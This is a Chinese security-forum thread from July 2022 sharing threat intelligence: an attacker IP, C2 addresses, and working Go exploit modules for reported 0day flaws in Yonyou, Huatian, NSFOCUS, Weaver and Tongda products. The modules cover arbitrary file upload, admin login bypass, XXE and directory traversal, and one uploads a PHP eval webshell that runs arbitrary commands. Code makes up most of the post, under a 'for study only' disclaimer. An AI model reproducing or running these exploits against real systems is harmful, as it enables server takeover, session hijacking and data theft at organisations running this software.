请选择 进入手机版 | 继续访问电脑版

DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 5777|回复: 3

[2022HW] 情报共享 (0730)

[复制链接]

169

主题

20

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
332
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2022-7-30 16:06:12 | 显示全部楼层 |阅读模式
本文内容为互联网上收集,禁止用于非法用途,仅供学习使用!

攻击 IP 地址:

  • 1.12.235.247

攻击样本回连 C2:

  • 1.12.235.247:8000
  • 47.116.35.156:4455


用友 NC系统 uapws wsdl XXE 漏洞 0day


用友 NC 系统 uapws 存在 wsdl 接口,可通过指定路径传入内部或外部的 xml 进行解析,造成 XXE 漏洞。攻击者可以通过 XXE 漏洞读取服务器文件,执行任意命令等

  1. /uapws/service/nc.uap.oba.update.IUpdateService?xsd={{{xmlUrl}}}
复制代码

华天动力 OA 任意文件上传漏洞 0day


华天动力 OA 存在任意文件上传漏洞,攻击者可以上传任意文件,获取 webshell,控制服务器权限,读取敏感信息等

  1. getOAFilePath98234u293 := func(host *httpclient.FixUrl) string {
  2.         requestConfig := httpclient.NewPostRequestConfig("/OAapp/jsp/upload.jsp")
  3.         requestConfig.VerifyTls = false
  4.         requestConfig.FollowRedirect = false
  5.         requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO")
  6.         requestConfig.Data = "------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name="file"; filename="xxx.xml"\r\nContent-Type: image/png\r\n\r\nreal path\r\n------WebKitFormBoundary5Ur8laykKAWws2QO\r\nContent-Disposition: form-data; name="filename"\r\n\r\nxxx.png\r\n------WebKitFormBoundary5Ur8laykKAWws2QO--\r\n"

  7.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  8.                 if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, ".dat") {
  9.                         if path := regexp.MustCompile(`(.*?)Tomcat/webapps/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
  10.                                 // 直接返回文件最后一个 jsessionid
  11.                                 return path[1]
  12.                         } else if path := regexp.MustCompile(`(.*?)htoadata/appdata/.*?\.dat`).FindStringSubmatch(resp.RawBody); len(path) > 1 {
  13.                                 return path[1]
  14.                         }
  15.                 }
  16.         }

  17.         return ""
  18. }

  19. exploitUploadFile837276342783 := func(path string, fileContent string, host *httpclient.FixUrl) bool {
  20.         requestConfig := httpclient.NewPostRequestConfig("/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp")
  21.         requestConfig.VerifyTls = false
  22.         requestConfig.FollowRedirect = false
  23.         requestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm")
  24.         requestConfig.Data = "------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"\r\nContent-Type: image/png\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm\r\nContent-Disposition: form-data; name="newFileName"\r\n\r\n" + path + "Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp\r\n------WebKitFormBoundaryzRSYXfFlXqk6btQm--\r\n"

  25.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  26.                 return resp.StatusCode == 200
  27.         }

  28.         return false
  29. }

  30. checkUploadedFile2398764278 := func(fileContent string, host *httpclient.FixUrl) bool {
  31.         requestConfig := httpclient.NewGetRequestConfig("/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp")
  32.         requestConfig.VerifyTls = false
  33.         requestConfig.FollowRedirect = false

  34.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  35.                 return resp.StatusCode == 200 && strings.Contains(resp.RawBody, fileContent)
  36.         }

  37.         return false
  38. }

  39. ExpManager.AddExploit(NewExploit(
  40.         goutils.GetFileName(),
  41.         expJson,
  42.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
  43.                 path := getOAFilePath98234u293(u)
  44.                
  45.                 if path == "" {
  46.                         path = "D:/htoa/"
  47.                 }

  48.                 rand := goutils.RandomHexString(6)

  49.                 if exploitUploadFile837276342783(path, "<%out.print(""+rand+"");%>", u) {
  50.                         return checkUploadedFile2398764278(rand, u)


  51.                 }
  52.                 return false
  53.         },
  54.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
  55.                 fileContent := ss.Params["fileContent"].(string)
  56.                 path := getOAFilePath98234u293(expResult.HostInfo)

  57.                 if path == "" {
  58.                         path = "D:/htoa/"
  59.                 }

  60.                 if exploitUploadFile837276342783(path, fileContent, expResult.HostInfo) {
  61.                         expResult.Success = true
  62.                         expResult.Output = "文件已上传,请访问:/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp"
  63.                 }

  64.                 return expResult
  65.         },
  66. ))
复制代码

绿盟下一代防火墙 resourse.php 任意文件上传漏洞 0day


绿盟下一代防火墙 bugsInfo/resourse.php 文件存在任意文件上传漏洞,攻击者可上传恶意木马,获取服务器权限

  1. ExpManager.AddExploit(NewExploit(
  2.         goutils.GetFileName(),
  3.         expJson,
  4.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
  5.                 u1 := httpclient.NewFixUrl("https://" + u.IP + ":8081")
  6.                 uri1 := "/api/v1/device/bugsInfo"
  7.                 cfg1 := httpclient.NewPostRequestConfig(uri1)
  8.                 cfg1.VerifyTls = false
  9.                 cfg1.FollowRedirect = false
  10.                 cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
  11.                 cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"\r\n\r\nlang|s:52:"../../../../../../../../../../../../../../../../tmp/";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
  12.                 if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
  13.                         time.Sleep(time.Second * 5)
  14.                         uri2 := "/api/v1/device/bugsInfo"
  15.                         cfg2 := httpclient.NewPostRequestConfig(uri2)
  16.                         cfg2.VerifyTls = false
  17.                         cfg2.FollowRedirect = false
  18.                         cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
  19.                         cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name="file"; filename="compose.php"\r\n\r\n<?php eval($_POST[1]);?>\r\n--4803b59d015026999b45993b1245f0ef--\r\n"
  20.                         if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") {
  21.                                 u3 := httpclient.NewFixUrl("https://" + u.IP + ":4433")
  22.                                 uri3 := "/mail/include/header_main.php"
  23.                                 cfg3 := httpclient.NewPostRequestConfig(uri3)
  24.                                 cfg3.VerifyTls = false
  25.                                 cfg3.FollowRedirect = false
  26.                                 cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
  27.                                 cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded")
  28.                                 cfg3.Data = "1=print+md5%281%29%3B"
  29.                                 if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil {
  30.                                         return resp3.StatusCode == 200 && strings.Contains(resp3.RawBody, "c4ca4238a0b923820dcc509a6f75849b")
  31.                                 }
  32.                         }
  33.                 }

  34.                 return false
  35.         },
  36.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
  37.                 cmd := ss.Params["cmd"].(string)
  38.                 u1 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":8081")
  39.                 uri1 := "/api/v1/device/bugsInfo"
  40.                 cfg1 := httpclient.NewPostRequestConfig(uri1)
  41.                 cfg1.VerifyTls = false
  42.                 cfg1.FollowRedirect = false
  43.                 cfg1.Header.Store("Content-Type", "multipart/form-data; boundary=1d52ba2a11ad8a915eddab1a0e85acd9")
  44.                 cfg1.Data = "--1d52ba2a11ad8a915eddab1a0e85acd9\r\nContent-Disposition: form-data; name="file"; filename="sess_82c13f359d0dd8f51c29d658a9c8ac71"\r\n\r\nlang|s:52:"../../../../../../../../../../../../../../../../tmp/";\r\n--1d52ba2a11ad8a915eddab1a0e85acd9--\r\n"
  45.                 if resp, err := httpclient.DoHttpRequest(u1, cfg1); err == nil && resp.StatusCode == 200 && strings.Contains(resp.RawBody, "upload file success") {
  46.                         time.Sleep(time.Second * 5)
  47.                         uri2 := "/api/v1/device/bugsInfo"
  48.                         cfg2 := httpclient.NewPostRequestConfig(uri2)
  49.                         cfg2.VerifyTls = false
  50.                         cfg2.FollowRedirect = false
  51.                         cfg2.Header.Store("Content-Type", "multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef")
  52.                         cfg2.Data = "--4803b59d015026999b45993b1245f0ef\r\nContent-Disposition: form-data; name="file"; filename="compose.php"\r\n\r\n<?php eval($_POST[1]);?>\r\n--4803b59d015026999b45993b1245f0ef--\r\n"
  53.                         if resp2, err2 := httpclient.DoHttpRequest(u1, cfg2); err2 == nil && resp2.StatusCode == 200 && strings.Contains(resp2.RawBody, "upload file success") {
  54.                                 u3 := httpclient.NewFixUrl("https://" + expResult.HostInfo.IP + ":4433")
  55.                                 uri3 := "/mail/include/header_main.php"
  56.                                 cfg3 := httpclient.NewPostRequestConfig(uri3)
  57.                                 cfg3.VerifyTls = false
  58.                                 cfg3.FollowRedirect = false
  59.                                 cfg3.Header.Store("Cookie", "PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71")
  60.                                 cfg3.Header.Store("Content-Type", "application/x-www-form-urlencoded")
  61.                                 cfg3.Data = fmt.Sprintf("1=%s", url.QueryEscape(cmd))
  62.                                 if resp3, err := httpclient.DoHttpRequest(u3, cfg3); err == nil && resp3.StatusCode == 200 {
  63.                                         expResult.Output = resp3.RawBody
  64.                                         expResult.Success = true
  65.                                 }
  66.                         }
  67.                 }
  68.                 return expResult
  69.         },
  70. ))
复制代码

用友 GRP-U8 财务管理软件任意文件上传漏洞 0day


  1. exploitYonyouGRPU812345512 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool {
  2.         requestConfig := httpclient.NewPostRequestConfig("/UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=" + fileName + ".jsp&filename=1.jpg")
  3.         requestConfig.VerifyTls = false
  4.         requestConfig.FollowRedirect = false
  5.         requestConfig.Header.Store("Content-type", "multipart/form-data")
  6.         requestConfig.Data = "------WebKitFormBoundary92pUawKc\r\nContent-Disposition: form-data; name="myFile";filename="test.jpg"\r\n\r\n" + fileContent + "\r\n------WebKitFormBoundary92pUawKc--"

  7.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  8.                 if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "parent.showSucceedMsg();") {
  9.                         return true
  10.                 }
  11.         }
  12.         return false
  13. }

  14. checkUploadedFile12314456 := func(fileName string, fileContent string, host *httpclient.FixUrl) bool {
  15.         // 攻击 URL
  16.         requestConfig := httpclient.NewGetRequestConfig("/R9iPortal/" + fileName + ".jsp")
  17.         requestConfig.VerifyTls = false
  18.         requestConfig.FollowRedirect = false
  19.         requestConfig.Timeout = 15

  20.         // 发送攻击请求
  21.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  22.                 return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fileContent)
  23.         }
  24.         return false
  25. }

  26. ExpManager.AddExploit(NewExploit(
  27.         goutils.GetFileName(),
  28.         expJson,
  29.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {

  30.                 rand1 := goutils.RandomHexString(4)
  31.                 rand2 := goutils.RandomHexString(4)

  32.                 // 上传文件
  33.                 if exploitYonyouGRPU812345512(rand1, "<%out.print(""+rand2+"");%>", u) {
  34.                         // 检查文件是否上传成功
  35.                         return checkUploadedFile12314456(rand1, rand2, u)
  36.                 }

  37.                 return false
  38.         },
  39.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {

  40.                 fileName := ss.Params["name"].(string)
  41.                 fileContent := ss.Params["content"].(string)

  42.                 if exploitYonyouGRPU812345512(fileName, fileContent, expResult.HostInfo) {
  43.                         expResult.Success = true
  44.                         expResult.Output = "文件上传成功,请访问路径:/R9iPortal/" + fileName + ".jsp"
  45.                 }

  46.                 return expResult
  47.         },
  48. ))
复制代码

Weaver ecology9 OA系统上传漏洞 0day


泛微 E-cology OA 任意管理用户登陆漏洞 0day


低版本泛微 e-cology 存在任意管理员用户登陆漏洞,攻击者可以利用系统内的接口快速登陆管理员用户,获取用户对应的管理权限,并可以使用该用户身份执行恶意操作

  1. ExpManager.AddExploit(NewExploit(
  2.         goutils.GetFileName(),
  3.         expJson,
  4.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
  5.                 // 漏洞 URL
  6.                 cfg := httpclient.NewPostRequestConfig("/mobile/plugin/VerifyQuickLogin.jsp")
  7.                 cfg.FollowRedirect = false
  8.                 cfg.Timeout = 15
  9.                 cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
  10.                 cfg.Data = "identifier=1&language=1&ipaddress=x.x.x.x"

  11.                 if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
  12.                         if resp.StatusCode == 200 && strings.Contains(resp.HeaderString.String(), "Set-Cookie: ecology_JSession") && strings.Contains(resp.Utf8Html, "{"message":"1","sessionkey":"") {
  13.                                 return true
  14.                         }
  15.                 }

  16.                 return false
  17.         },
  18.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
  19.                 // 使用 api 查询数据
  20.                 cfg := httpclient.NewPostRequestConfig("/mobile/plugin/VerifyQuickLogin.jsp")
  21.                 cfg.FollowRedirect = false
  22.                 cfg.Timeout = 15
  23.                 cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
  24.                 cfg.Data = "identifier=1&language=1&ipaddress=1.1.1.1"

  25.                 if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
  26.                         if resp.StatusCode == 200 && strings.Contains(resp.HeaderString.String(), "Set-Cookie: ecology_JSession") && strings.Contains(resp.Utf8Html, "{"message":"1","sessionkey":"") {


  27.                                 expResult.Success = true
  28.                                 expResult.Output = "攻击成功,请使用 sessionKey:\n" + regexp.MustCompile(`"sessionkey":"(.*?)"`).FindStringSubmatch(resp.RawBody)[1]
  29.                         }
  30.                 }

  31.                 return expResult
  32.         },
  33. ))
复制代码

通达 OA 任意用户登陆漏洞 0day


通达存在任意用户登陆漏洞,攻击者可以通过指定接口登陆任意用户,获取后台管理权限,直接登录后台进行敏感操作

  1. checkIsTongdaOA1231234 := func(host *httpclient.FixUrl) bool {
  2.         requestConfig := httpclient.NewGetRequestConfig("/inc/expired.php")
  3.         requestConfig.VerifyTls = false
  4.         requestConfig.FollowRedirect = false

  5.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  6.                 return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "tongda")
  7.         }
  8.         return false
  9. }

  10. getTongdaCodeUID435345 := func(host *httpclient.FixUrl) string {
  11.         requestConfig := httpclient.NewGetRequestConfig("/ispirit/login_code.php")
  12.         requestConfig.VerifyTls = false
  13.         requestConfig.FollowRedirect = false


  14.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  15.                 if resp.StatusCode == 200 && strings.Contains(resp.RawBody, ""codeuid"") {
  16.                         return regexp.MustCompile(`\{"codeuid":"\{(.*?)}"`).FindStringSubmatch(resp.RawBody)[1]
  17.                 }
  18.         }
  19.         return ""
  20. }

  21. getTongdaPHPSESSID4564234 := func(codeuid string, host *httpclient.FixUrl) string {
  22.         requestConfig := httpclient.NewPostRequestConfig("/logincheck_code.php")
  23.         requestConfig.VerifyTls = false
  24.         requestConfig.FollowRedirect = false
  25.         requestConfig.Header.Store("Content-type", "application/x-www-form-urlencoded")
  26.         requestConfig.Data = "UID=1&CODEUID=_PC{" + codeuid + "}"

  27.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  28.                 if resp.StatusCode == 200 && strings.Contains(resp.RawBody, ""status":1") && strings.Contains(resp.RawBody, ""url":"general") && strings.Contains(resp.HeaderString.String(), "Set-Cookie: PHPSESSID=") {
  29.                         return regexp.MustCompile(`Set-Cookie: PHPSESSID=(.*?);`).FindStringSubmatch(resp.HeaderString.String())[1]
  30.                 }
  31.         }
  32.         return ""
  33. }

  34. exploitTongda45321 := func(phpsessionid string, host *httpclient.FixUrl) bool {
  35.         // 攻击 URL
  36.         requestConfig := httpclient.NewGetRequestConfig("/general/")
  37.         requestConfig.VerifyTls = false
  38.         requestConfig.FollowRedirect = false
  39.         requestConfig.Timeout = 15
  40.         requestConfig.Header.Store("Cookie", "PHPSESSID="+phpsessionid)

  41.         // 发送攻击请求
  42.         if resp, err := httpclient.DoHttpRequest(host, requestConfig); err == nil {
  43.                 return resp.StatusCode == 302 && strings.Contains(resp.Utf8Html, "tongdainfo")
  44.         }

  45.         return false
  46. }

  47. ExpManager.AddExploit(NewExploit(
  48.         goutils.GetFileName(),
  49.         expJson,
  50.         func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
  51.                 if checkIsTongdaOA1231234(u) {
  52.                         codeuid := getTongdaCodeUID435345(u)
  53.                         if codeuid != "" {
  54.                                 phpsessionid := getTongdaPHPSESSID4564234(codeuid, u)
  55.                                 if phpsessionid != "" {
  56.                                         return exploitTongda45321(phpsessionid, u)
  57.                                 }
  58.                         }
  59.                 }

  60.                 return false
  61.         },
  62.         func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
  63.                 if checkIsTongdaOA1231234(expResult.HostInfo) {
  64.                         codeuid := getTongdaCodeUID435345(expResult.HostInfo)
  65.                         if codeuid != "" {
  66.                                 phpsessionid := getTongdaPHPSESSID4564234(codeuid, expResult.HostInfo)
  67.                                 if phpsessionid != "" {
  68.                                         if exploitTongda45321(phpsessionid, expResult.HostInfo) {
  69.                                                 expResult.Success = true
  70.                                                 expResult.Output = "登陆成功,使用如下 session 即可登陆:" + phpsessionid
  71.                                         }
  72.                                 }
  73.                         }
  74.                 }

  75.                 return expResult
  76.         },
  77. ))
复制代码

8. 用友 FE 协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞 0day


用友 FE 平台低版本templateOfTaohong_manager.jsp文件存在目录遍历漏洞,攻击者可以通过此文件遍历系统文件内容,获取敏感信息,并可利用此页面上的功能创建文件夹、删除文件等等

路径:/system/mediafile/templateOfTaohong_manager.jsp?path={{{path}}}

0

主题

2

回帖

0

荣誉

Rank: 1

UID
784
积分
1
精华
0
沃币
0 枚
注册时间
2022-7-29
发表于 2022-7-30 20:53:31 | 显示全部楼层
回复

使用道具 举报

0

主题

1

回帖

0

荣誉

Rank: 1

UID
804
积分
0
精华
0
沃币
0 枚
注册时间
2022-7-30
发表于 2022-7-30 23:35:11 | 显示全部楼层
log4j2和apache的有无
回复

使用道具 举报

169

主题

20

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
332
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

 楼主| 发表于 2022-7-31 15:56:04 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1楼
2楼
3楼
4楼

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-2-23 11:05 , Processed in 0.063287 second(s), 26 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表